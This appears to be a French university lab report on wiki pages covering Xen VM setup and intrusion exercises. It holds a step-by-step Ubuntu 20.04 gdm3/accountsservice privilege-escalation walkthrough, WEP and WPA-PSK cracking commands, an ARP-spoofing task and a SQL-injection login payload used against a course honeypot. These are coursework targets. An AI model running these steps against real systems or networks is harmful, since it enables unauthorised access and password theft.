TP sysres IMA5sc 2020/2021 G8 : Différence entre versions
(→5.1 Exploitation de failles du système : Ubuntu 20.04) |
(→5.1 Exploitation de failles du système : Ubuntu 20.04) |
||
Ligne 84 : | Ligne 84 : | ||
==5.1 Exploitation de failles du système : Ubuntu 20.04== | ==5.1 Exploitation de failles du système : Ubuntu 20.04== | ||
− | Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en 'exclusivité dans le département IMA' l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. | + | Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en '''exclusivité dans le département IMA''' l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai apperçu cet article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur la machine Linux : |
+ | |||
+ | https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE | ||
+ | |||
+ | 1) J'installe Ubuntu 20.04 dans une VM | ||
+ | |||
+ | 2) Par défaut dans la session dispose des droits administrateurs (elle fait partie du groupe sudo), je fais donc un compte utilisateur standard pour mener à bien mon exploit, si non c'est de la triche... | ||
+ | |||
+ | $ sudo adduser u1 | ||
+ | $ su u1 | ||
+ | $ id | ||
+ | uid=1001(u1) gid=1001(u1) groupes=1001(u1) | ||
+ | |||
+ | 3) On fait un DOS sur accountsservice, pour ce faire on fait d'abord le lien symbolique suivant : | ||
+ | |||
+ | $ ln -s /dev/zero ~/.pam_environment | ||
+ | |||
+ | Puis on va dans Settings > Region and Language > Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande : | ||
+ | |||
+ | $ top | ||
+ | |||
+ | On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP. | ||
+ | |||
+ | $ kill -SIGSTOP 1098 | ||
+ | |||
+ | On supprime aussi le lien symbolique qui a causé le DOS. | ||
+ | |||
+ | $ rm ~/.pam_environment | ||
+ | |||
+ | Ici on va faire crasher le accounts-daemon mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière plan après 30 secondes. | ||
+ | |||
+ | $ nohup bash -c "sleep 30s; kill -SIGSEGV 597; kill -SIGCONT 597" | ||
+ | |||
+ | On se déconnecte de notre session. | ||
+ | |||
+ | Le menu "Welcome" de Ubuntu apparaît !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine ! Un nouvel utilisateur apparaît sur la machine ! | ||
+ | |||
+ | $whoami | ||
+ | pwn | ||
+ | $ id | ||
+ | uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo) | ||
+ | |||
+ | |||
+ | Explication : | ||
+ | |||
+ | En changeant la langue dans "Region and Language", le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire dev/zero. | ||
+ | La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir envoyer un signal SIGSEGV sans avoir de droit root. | ||
+ | |||
+ | |||
+ | Une fois avoir kill le accounts-daemon, on va se déconnecter. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv->have_existing_user_accounts , qui est false. Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup. | ||
==5.2 Cassage de clef WEP d’un point d’accès WiFi== | ==5.2 Cassage de clef WEP d’un point d’accès WiFi== |
Version du 11 novembre 2020 à 17:19
2. Installation des systèmes d’exploitation
2.1 Installation dans la machine virtuelle Xen
SSH sur capbreton
Puis création de la machine virtuelle :
xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force
On renomme les LVM avec lv rename :
lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var
On obtient (lvdispaly) :
--- Logical volume --- LV Path /dev/storage/piedbleu-home LV Name piedbleu-home VG Name storage LV UUID UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA LV Write Access read/write LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100 LV Status available # open 1 LV Size 10.00 GiB Current LE 2560 Segments 1 Allocation inherit Read ahead sectors auto - currently set to 256 Block device 254:12 --- Logical volume --- LV Path /dev/storage/piedbleu-var LV Name piedbleu-var VG Name storage LV UUID yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1 LV Write Access read/write LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100 LV Status available # open 1 LV Size 10.00 GiB Current LE 2560 Segments 1 Allocation inherit Read ahead sectors auto - currently set to 256 Block device 254:13
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg
Dans la catégorie "Disk device(s)", partie "disk", on ajoute les lignes suivantes :
phy:/dev/storage/piedbleu-home,xvda3,w', phy:/dev/storage/piedbleu-var,xvda4,w',
Dans la catégorie "Networking", on ajoute :
bridge=IMA5sc
Ensuite, on lance la VM :
xl create -c /etc/xen/piedbleu.cfg
Par la suite, pour accéder à la VM, on fera :
xl console piedbleu
Dans la VM, on formate xvda3, xvda4 en ext 4 :
mkfs.ext4 /dev/xvda3 mkfs.ext4 /dev/xvda4
On modifie le fstab en ajoutant :
/dev/xvda3 /home defaults 0 2 /dev/xvda4 /var defaults 0 2
Et après on les monte :
mount -a
puis on fait un lsblk pour vérifier.
On obtient :
5. Tests d’intrusion
5.1 Exploitation de failles du système : Ubuntu 20.04
Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en exclusivité dans le département IMA l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai apperçu cet article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur la machine Linux :
https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE
1) J'installe Ubuntu 20.04 dans une VM
2) Par défaut dans la session dispose des droits administrateurs (elle fait partie du groupe sudo), je fais donc un compte utilisateur standard pour mener à bien mon exploit, si non c'est de la triche...
$ sudo adduser u1 $ su u1 $ id uid=1001(u1) gid=1001(u1) groupes=1001(u1)
3) On fait un DOS sur accountsservice, pour ce faire on fait d'abord le lien symbolique suivant :
$ ln -s /dev/zero ~/.pam_environment
Puis on va dans Settings > Region and Language > Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande :
$ top
On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP.
$ kill -SIGSTOP 1098
On supprime aussi le lien symbolique qui a causé le DOS.
$ rm ~/.pam_environment
Ici on va faire crasher le accounts-daemon mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière plan après 30 secondes.
$ nohup bash -c "sleep 30s; kill -SIGSEGV 597; kill -SIGCONT 597"
On se déconnecte de notre session.
Le menu "Welcome" de Ubuntu apparaît !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine ! Un nouvel utilisateur apparaît sur la machine !
$whoami pwn $ id uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo)
Explication :
En changeant la langue dans "Region and Language", le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire dev/zero. La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir envoyer un signal SIGSEGV sans avoir de droit root.
Une fois avoir kill le accounts-daemon, on va se déconnecter. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv->have_existing_user_accounts , qui est false. Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup.
5.2 Cassage de clef WEP d’un point d’accès WiFi
Nous commençons tout d’abord par installer le paquet aircrack :
$ apt-get install aircrack-ng
À partir de là, nous listons la liste des interfaces wifi disponibles : (pour repérer le nom du réseau sans fil correspondant à notre binôme) :
$ airmon-ng
On remarque que notre carte wifi est désignée par le nom wlp1s0mon qui correspond à l’interface.
Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.
$ airmon-ng start wlp1s0mon
On peux ensuite lancer le scan des réseaux wifi environnants :
$ airodump-ng --encrypt wep wlp1s0mon
On repère le point d’accès qui correspond au réseau wifi qui nous intéresse ( cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.
On capture ensuite les paquets émis par le point d’accès cible :
$ airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon
On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collecté. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :
$ aircrack-ng -z mon_fichier-01.cap
On voit que le programme a réussi à trouver la clé ( message « Key Found »).
5.3 Cassage de mot de passe WPA-PSK par force brute
Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).
On lance ensuite le scan des réseaux wifi WPA PSK environnants :
$ airodump-ng --encrypt wpa-psk wlp1s0mon
Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH ( le mode d'authentification), ainsi que l'ESSID ( le nom du routeur ).
Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 dans la commande suivante:
$ airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:27 --ch 9 -w capture
Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake.
Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par bruteforce. Pour cela, nous générerons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre.
Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons au préalable installée):
$ crunch 8 8 -o 12345678 > motdepasse.txt
Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt.
Ensuite, nous effectuons l'attaque par bruteforce avec la commande suivante :
$ aircrak-ng -a2 -b 00:14:1B:60:8C:27 -w motdepasse.txt *.cap
Comme la méthode bruteforce prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. 4h plus tard, nous obtenons le mot de passe de la kracotte :
5.4 Attaque de type "homme au milieu" par usurpation ARP
Installez le paquetage dsniff sur votre eeePC. Transformez votre eeePC en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1. Insérez votre eeePC entre la machine fixe d’un autre binome et le routeur utilisé par cette machine fixe en utilisant la commande arpspoof. Lancez le sniffeur réseau wireshark sur l’eeePC pendant que l’autre binôme se connecte sur un site web HTTP avec des formulaires HTML. Que constatez-vous ? Essayez aussi de relever les paquets réseau pendant que l’autre binôme utilise un logiciel de conversation instantanée.
5.5 Intrusion sur un serveur d’application Web
Injection SQL sur honey.plil.info, dans le login et le password, on écrit :
' OR 1 = 1 --
Ensuite, on fait un nmap :
nmap -T4 -A honey.plil.info
On obtient :
A partir de ces informations, on réalise plusieurs attaques et exploitations de failles, mauvaise configuration, mot de passe faible, etc.
Au final, nous avons réussi à trouver le mot de passe root du serveur. Nous y laissons la trace de notre passage "I was here IMA5 G8" :
6. Réalisations
6.2 Chiffrement de données
Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes :
$ fdisk -l # on répère la clé USB $ fdisk /dev/sdb # on formate la clé en une seule partition $ cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB $ cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition $ mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4
Ensuite, on monte la clé USB, et on la peuple :
$ mkdir /mnt/USB $ mount -t ext4 /dev/mapper/myusbkey /mnt/USB $ touch /mnt/USB/mytestfile.txt
Une fois que l'on a fini, on démonte le système de fichier proprement :
$ umount /mnt/USB $ cryptsetup luksClose myusbkey